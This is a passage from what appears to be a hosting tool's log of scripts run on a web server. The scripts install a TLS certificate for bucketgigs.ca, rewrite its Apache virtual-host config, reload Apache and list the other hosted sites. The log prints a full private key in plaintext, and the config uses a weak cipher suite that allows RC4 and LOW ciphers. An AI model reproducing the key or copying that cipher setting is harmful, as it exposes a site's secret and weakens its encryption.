1hjg+ICdstmH7zANBgkqhkiG9w0BAQsFAAOCAQEAbk/jsWurhbdk4aXPYKaCjAzV
1Gh9jwqKCm/anr3M6/cIkiiTJJk6W381xj+rCFF4/s16F091MoPLHWPuQu1yZ7YF
viGSy+nwB6CccYbXaZl0wgtyPsnyFRkiGVcBAPAoArE0/TT7nCmpevze6EjGaZ03
iWdgrX4osfjs6gME4pGHg69dEA+A+SiOEIkR8vB3GctlGG1cfgYUEsKFF17k1Yke
6E00AtrFhns9N+84uI82NPrlFDgfkhnzB8DXE9jcrPFNj0mfNBhjTIPmgiMegLGX
SB/8fhwedW1wQbDvgqxVLU9K7byy9w2eEPm1gpqkxgYQiiaHg6o2gemIFBnKsA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHuQwIj3Gwfb4v
tJjKVWXZpYVr8VgeLq3vmNXbBFNmqqXcQ3KhMUzfH+nelI0DC2G6AuREm4kXDZbV
aYD+lhZsG8fvtdrGPUm3J4xSa8fdm2w/OpEhL4LBBpQWS9XFC+7sz4MBIUCrdBHM
mwsnC99YfoGH5bQJxuglez4g/hXuB9NVksl/SHA1CbdsvUO/2xetRfzSzDGK3pZ1
Or8S7cY0EGN2SJnVVa67Ysfw2rPMuuthYicY7+a7I+7M+X4Z/k8X2Qn+zLAL1OZr
fxM7gp7aA4xGWsfmYV8mCMUkxhw6dubbqqI0JVM9usgE0YCCCPFavLGtf8Ev1JKv
dCDNosdbAgMBAAECggEAXMV963QGET83Wp1+421rk/+ozA0dK1fvf330yHln7CaU
SI4j7vAhjvsZ/UPvhFyDFo5FTgEZWtX7HEKXoqpA3BLDent0leTeGu+J5Lcf7bZG
P9CKnWmeSN8vZnPvZko2v1VcuuehTILryaizM332TvrkXCW8zVXRe6eVommj8h5q
FY8USlom1u8WIEjcS/zVTUPvVNC+kr3m9TYCUn1hnYt8+dYJUZz+xwMrLa9/xj2R
B/DHFOyIpRA4k9S49IbSYRnsOH09basLC+RIzY2T8B33Aidmsqa8eaR7sj4T7BzC
ZQEWgjRmJil2Sb/K7WuAs0hBxB2KDT4VvXY+Yy3QYQKBgQDubYGSAZZPI9NYmXsM
jyErnFTiHNJG8dKKMwwuOuMxtkzJdYmZ+sq17JenPHqPKM+Ve7C0ZtZxkrhFBjT0
rbdbUnrRtsfMLyhJCbJY+e1ZqrZ7e2iwBL9F2yPECGhBh3j2Lv8TstPfL6bq8j1x
09LX9t0ynz2KtByx8kmUX2KbcwKBgQDWcUhZq/X3aiJlwohLgBoQlEDNzwTWRKVf
CBkkecp3M6rshZ+bD6d6AqEyW3LRDX8yQx+i/DTkkciS2hToVpDdEO7EVB3MrY+H
aKJBC0FDqCU6oxksVSqxMohjbYUB2hcQMe4uJ+J2cET4i17rvM511ju44DbkbyuV
XE51RqP6eQKBgGnBPsCRXadav6rD4RVwAwmB/RCSMh7vsjBEdjmnOxDYyHRvYwpe
eD17ZMT0CXSoaHLoezd5idK0fnF3UFPbHcIu8nVEuphxrk+/MlFPAh1MoEZjNcsl
P+XvTozsIbo3Kcsgi1mkb1/GliYOLnzntNTAFdsXUMfOHhA75LEgIe/LAoGADlC7
qrjPD7g3GaH15Uxk8Qxkkxip0v/8Ji7tNsEmofSCCY4WDIzr+jootqriLFCBWEKg
3wmFImkVAbCrSqNUwl06A0M2Rg6kET8L7dmpfrG/4n021f3NfszHzBNomKoNdhhP
NSeWd5+hCxKKwKP3CGjHzdyx7Wf6edsSpcOUeMkCgYEAw/Ckei0G9WhKlMzi5u77
Fk8GiZrS0+RztZGDrSNl/kcgBfLYcQAae+OzbmxtEap6Ww85CCbxmWVVJIj8/5zV
AroSGDix6sHRlgBVk0pwbucxY6P19w+hA4cE7B3oTTEDz6w9pS5CVQ0SUvlKeTvQ
uDNPYwHgztVUHsllsLSxd6Y=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:02:06:
chmod 755 /tmp/pkp537202; /tmp/pkp537202; rm /tmp/pkp537202
2025-09-06 06:02:06:
dir=/etc/ssl/certs
2025-09-06 06:02:06:
PUT: /tmp/pkp314076
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:02:06:
chmod 755 /tmp/pkp314076; /tmp/pkp314076; rm /tmp/pkp314076
2025-09-06 06:02:06:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:06:
PUT: /tmp/pkp499445
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi
2025-09-06 06:02:06:
chmod 755 /tmp/pkp499445; /tmp/pkp499445; rm /tmp/pkp499445
2025-09-06 06:02:06:
2025-09-06 06:02:06:
PUT: /tmp/pkp189471
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:02:06:
chmod 755 /tmp/pkp189471; /tmp/pkp189471; rm /tmp/pkp189471
2025-09-06 06:02:07:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:07:
PUT: /tmp/pkp819445
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:02:07:
chmod 755 /tmp/pkp819445; /tmp/pkp819445; rm /tmp/pkp819445
2025-09-06 06:02:07:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:07:
PUT: /tmp/pkp318824
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:07:
chmod 755 /tmp/pkp318824; /tmp/pkp318824; rm /tmp/pkp318824
2025-09-06 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 1379
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:07:
PUT: /tmp/pkp128863
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:07:
chmod 755 /tmp/pkp128863; /tmp/pkp128863; rm /tmp/pkp128863
2025-09-06 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt 5369
4e:9c:46:ce:39:ae:5a:3a:14:5e:2b:88:53:b1:1c:c5
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBUBG34MsywhPJrau2htC7u0oMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzMzWhcNMjUxMjA1MDUwMzMyWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
x7kMCI9xsH2+L7SYylVl2aWFa/FYHi6t75jV2wRTZqql3ENyoTFM3x/p3pSNAwth
ugLkRJuJFw2W1WmA/pYWbBvH77Xaxj1JtyeMUmvH3ZtsPzqRIS+CwQaUFkvVxQvu
7M+DASFAq3QRzJsLJwvfWH6Bh+W0CcboJXs+IP4V7gfTVZLJf0hwNQm3bL1Dv9sX
rUX80swxit6WdTq/Eu3GNBBjdkiZ1VWuu2LH8NqzzLrrYWInGO/muyPuzPl+Gf5P
F9kJ/sywC9Tma38TO4Ke2gOMRlrH5mFfJgjFJMYcOnbm26qiNCVTPbrIBNGAggjx
WryxrX/BL9SSr3QgzaLHWwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQaGJ6oJszKCa64x1pTGy67Y7bnbzAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDEuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZ
HZ4V2wAABAMARzBFAiBQDzBVqno2O0HwcZA6kIWqBwC/FfSO3Mz2JPjOKG2fSAIh
ALTF9fPdnlhYG9IS2suwwqH5023wCpJnJPm3Uhu5ugTMAHcAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZ4drAAABAMASDBGAiEAloNd+IumCZEG
L80+Dja7Geu0yozhHVVLXozKeXIiOBoCIQCFL+QfsBlgJJNCQq7PIZ2UYIDDnvW/
1hjg+ICdstmH7zANBgkqhkiG9w0BAQsFAAOCAQEAbk/jsWurhbdk4aXPYKaCjAzV
1Gh9jwqKCm/anr3M6/cIkiiTJJk6W381xj+rCFF4/s16F091MoPLHWPuQu1yZ7YF
viGSy+nwB6CccYbXaZl0wgtyPsnyFRkiGVcBAPAoArE0/TT7nCmpevze6EjGaZ03
iWdgrX4osfjs6gME4pGHg69dEA+A+SiOEIkR8vB3GctlGG1cfgYUEsKFF17k1Yke
6E00AtrFhns9N+84uI82NPrlFDgfkhnzB8DXE9jcrPFNj0mfNBhjTIPmgiMegLGX
SB/8fhwedW1wQbDvgqxVLU9K7byy9w2eEPm1gpqkxgYQiiaHg6o2gemIFBnKsA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHuQwIj3Gwfb4v
tJjKVWXZpYVr8VgeLq3vmNXbBFNmqqXcQ3KhMUzfH+nelI0DC2G6AuREm4kXDZbV
aYD+lhZsG8fvtdrGPUm3J4xSa8fdm2w/OpEhL4LBBpQWS9XFC+7sz4MBIUCrdBHM
mwsnC99YfoGH5bQJxuglez4g/hXuB9NVksl/SHA1CbdsvUO/2xetRfzSzDGK3pZ1
Or8S7cY0EGN2SJnVVa67Ysfw2rPMuuthYicY7+a7I+7M+X4Z/k8X2Qn+zLAL1OZr
fxM7gp7aA4xGWsfmYV8mCMUkxhw6dubbqqI0JVM9usgE0YCCCPFavLGtf8Ev1JKv
dCDNosdbAgMBAAECggEAXMV963QGET83Wp1+421rk/+ozA0dK1fvf330yHln7CaU
SI4j7vAhjvsZ/UPvhFyDFo5FTgEZWtX7HEKXoqpA3BLDent0leTeGu+J5Lcf7bZG
P9CKnWmeSN8vZnPvZko2v1VcuuehTILryaizM332TvrkXCW8zVXRe6eVommj8h5q
FY8USlom1u8WIEjcS/zVTUPvVNC+kr3m9TYCUn1hnYt8+dYJUZz+xwMrLa9/xj2R
B/DHFOyIpRA4k9S49IbSYRnsOH09basLC+RIzY2T8B33Aidmsqa8eaR7sj4T7BzC
ZQEWgjRmJil2Sb/K7WuAs0hBxB2KDT4VvXY+Yy3QYQKBgQDubYGSAZZPI9NYmXsM
jyErnFTiHNJG8dKKMwwuOuMxtkzJdYmZ+sq17JenPHqPKM+Ve7C0ZtZxkrhFBjT0
rbdbUnrRtsfMLyhJCbJY+e1ZqrZ7e2iwBL9F2yPECGhBh3j2Lv8TstPfL6bq8j1x
09LX9t0ynz2KtByx8kmUX2KbcwKBgQDWcUhZq/X3aiJlwohLgBoQlEDNzwTWRKVf
CBkkecp3M6rshZ+bD6d6AqEyW3LRDX8yQx+i/DTkkciS2hToVpDdEO7EVB3MrY+H
aKJBC0FDqCU6oxksVSqxMohjbYUB2hcQMe4uJ+J2cET4i17rvM511ju44DbkbyuV
XE51RqP6eQKBgGnBPsCRXadav6rD4RVwAwmB/RCSMh7vsjBEdjmnOxDYyHRvYwpe
eD17ZMT0CXSoaHLoezd5idK0fnF3UFPbHcIu8nVEuphxrk+/MlFPAh1MoEZjNcsl
P+XvTozsIbo3Kcsgi1mkb1/GliYOLnzntNTAFdsXUMfOHhA75LEgIe/LAoGADlC7
qrjPD7g3GaH15Uxk8Qxkkxip0v/8Ji7tNsEmofSCCY4WDIzr+jootqriLFCBWEKg
3wmFImkVAbCrSqNUwl06A0M2Rg6kET8L7dmpfrG/4n021f3NfszHzBNomKoNdhhP
NSeWd5+hCxKKwKP3CGjHzdyx7Wf6edsSpcOUeMkCgYEAw/Ckei0G9WhKlMzi5u77
Fk8GiZrS0+RztZGDrSNl/kcgBfLYcQAae+OzbmxtEap6Ww85CCbxmWVVJIj8/5zV
AroSGDix6sHRlgBVk0pwbucxY6P19w+hA4cE7B3oTTEDz6w9pS5CVQ0SUvlKeTvQ
uDNPYwHgztVUHsllsLSxd6Y=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
